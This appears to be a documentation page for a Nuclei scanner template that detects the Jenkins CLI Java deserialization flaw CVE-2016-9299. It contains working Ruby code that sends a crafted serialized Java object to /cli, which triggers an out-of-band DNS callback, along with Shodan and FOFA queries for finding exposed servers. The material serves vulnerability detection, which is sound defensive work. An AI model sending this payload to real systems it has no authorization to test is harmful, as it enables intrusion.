Jenkins CLI - HTTP Java Deserialization
ID: CVE-2016-9299
Severity: critical
Author: iamnoooob,rootxharsh,pdresearch
Tags: cve,cve2016,rce,deserialization
Description
Section titled “Description”The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a crafted serialized Java object, which triggers an LDAP query to a third-party server.
YAML Source
Section titled “YAML Source”id: CVE-2016-9299
info: name: Jenkins CLI - HTTP Java Deserialization author: iamnoooob,rootxharsh,pdresearch severity: critical description: | The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a crafted serialized Java object, which triggers an LDAP query to a third-party server. reference: - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb - https://nvd.nist.gov/vuln/detail/CVE-2016-9299 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2016-9299 cwe-id: CWE-90 cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:* metadata: max-request: 1 verified: true vendor: jenkins product: jenkins shodan-query: product:"jenkins" fofa-query: icon_hash=81586312 tags: cve,cve2016,rce,deserialization
variables: oast: "{{interactsh-url}}"
code: - engine: - rb - ruby # requires ruby to be pre-installed on system running nuclei
source: | require 'socket' require 'base64'
# Define environment variables for host details (make sure they are properly set in your environment) $Hostname = ENV['Hostname'] $Host = ENV['Host'] $Port = ENV['Port'] interactsh = (ENV['oast']).ljust(45,'/') url_dns = "aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002d657761776a7763737778766b6a66737763716c69316673737632357271306438642e6f6173742e6f6e6c696e6574000071007e0005740004687474707078740034687474703a2f2f657761776a7763737778766b6a66737763716c69316673737632357271306438642e6f6173742e6f6e6c696e6578" $decoded_url_dns = [url_dns].pack("H*") $decoded_url_dns = $decoded_url_dns.gsub! "ewawjwcswxvkjfswcqli1fssv25rq0d8d.oast.online", interactsh
# Step 1: Send the download request without waiting for a response or closing the socket def send_download_request(host, port) download_socket = TCPSocket.new(host, port)
download_request = <<~REQ POST /cli HTTP/1.1 Host: #{$Hostname} Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e93 Side: download Content-Type: application/x-www-form-urlencoded Content-Length: 0\r\n REQ
#puts "Sending Download Request..." download_socket.write(download_request)
# Return the open socket so we can read from it later return download_socket end
# Step 2: Send the upload request def send_upload_request(host, port) socket = TCPSocket.new(host, port)
# Base64 decoded payload for upload request chunked_payload = "<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=\x00\x00\x00\x00\x01\x55" + $decoded_url_dns
upload_request = <<~REQ POST /cli HTTP/1.1 Host: #{$Hostname} Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e93 Side: upload Content-Type: application/octet-stream Content-Length: #{chunked_payload.bytesize}\r\n REQ
#puts "Sending Upload Request..." socket.write(upload_request)
# Send the binary data (payload) socket.write(chunked_payload)
# Read and print the response for the upload request response = socket.readpartial(1024) #puts "Received from server (upload response): #{response}"
# Close the socket for upload request socket.close end
# Step 3: After upload request, read the download request's response def read_download_response(socket) #puts "Reading Download Request Response..." response = socket.readpartial(1024) socket.close response
end
# Combined steps to perform the operations in the required order # Step 1: Send download request (don't wait for response, keep the socket open) download_socket = send_download_request($Host, $Port)
# Step 2: Send upload request send_upload_request($Host, $Port)
# Print the download response puts read_download_response(download_socket)
matchers: - type: dsl dsl: - "contains(response,'hudson.remoting.UserRequest')" - 'contains(interactsh_protocol, "dns")' condition: and# digest: 4a0a00473045022055a42d65aa751acf10d4ccb395900f8d239a0de43fe9f3798b0b0a0425bd9d12022100c386b9b50883bd35666946efc1251a9293788e1491a404c4cfa42b678e8de1f4:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-9299.yaml"